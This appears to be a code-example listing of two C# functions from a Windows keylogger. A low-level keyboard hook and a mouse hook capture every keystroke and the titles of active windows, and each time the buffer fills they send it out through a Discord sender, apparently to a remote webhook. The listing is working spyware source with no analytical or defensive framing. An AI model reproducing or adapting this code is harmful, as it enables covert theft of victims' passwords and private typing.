예제 #1
0
        public static IntPtr mouse_hook_process(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode < 0 || wParam != (IntPtr)WindowsMessages.WM_LBUTTONUP)
            {
                return(DLLImports.CallNextHookEx(mouse_hook, nCode, wParam, lParam));
            }

            string active_win = Utils.get_active_window_title() == null ? "Unknown"
                : Utils.get_active_window_title();

            if (active_win == "Unknown" || active_win == MouseHook.last_active_win)
            {
                return(DLLImports.CallNextHookEx(mouse_hook, nCode, wParam, lParam));
            }

            last_active_win = active_win;
            active_win      = ("[Pencerede:" + active_win + "]").ToUpperInvariant().Replace("ı", "I").Replace("I", "İ") + "\\n";

            if (!(KeyboardHook.key_buffer.Length < Settings.buffer_threshold) ||
                !((KeyboardHook.key_buffer.Length + active_win.Length) < Settings.buffer_threshold))
            {
                Program.discord.send();
                KeyboardHook.key_buffer = "";
                KeyboardHook.key_count  = 0;
            }

            KeyboardHook.key_buffer += active_win;

            return(DLLImports.CallNextHookEx(mouse_hook, nCode, wParam, lParam));
        }
예제 #2
0
        public static IntPtr keyboard_hook_process(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode < 0 ||
                !(wParam == (IntPtr)WindowsMessages.WM_SYSKEYDOWN || wParam == (IntPtr)WindowsMessages.WM_KEYDOWN))
            {
                return(DLLImports.CallNextHookEx(keyboard_hook, nCode, wParam, lParam));
            }

            Keys   key        = (Keys)Marshal.ReadInt32(lParam);
            string parsed_key = Utils.key_parser(keysConverter.ConvertToString(null, CultureInfo.CurrentCulture, key));

            if (!(KeyboardHook.key_buffer.Length < Settings.buffer_threshold) ||
                !((KeyboardHook.key_buffer.Length + parsed_key.Length) < Settings.buffer_threshold))
            {
                Program.discord.send();
                key_buffer = "";
                key_count  = 0;
            }

            key_buffer += parsed_key;
            key_count++;

            return(DLLImports.CallNextHookEx(keyboard_hook, nCode, wParam, lParam));
        }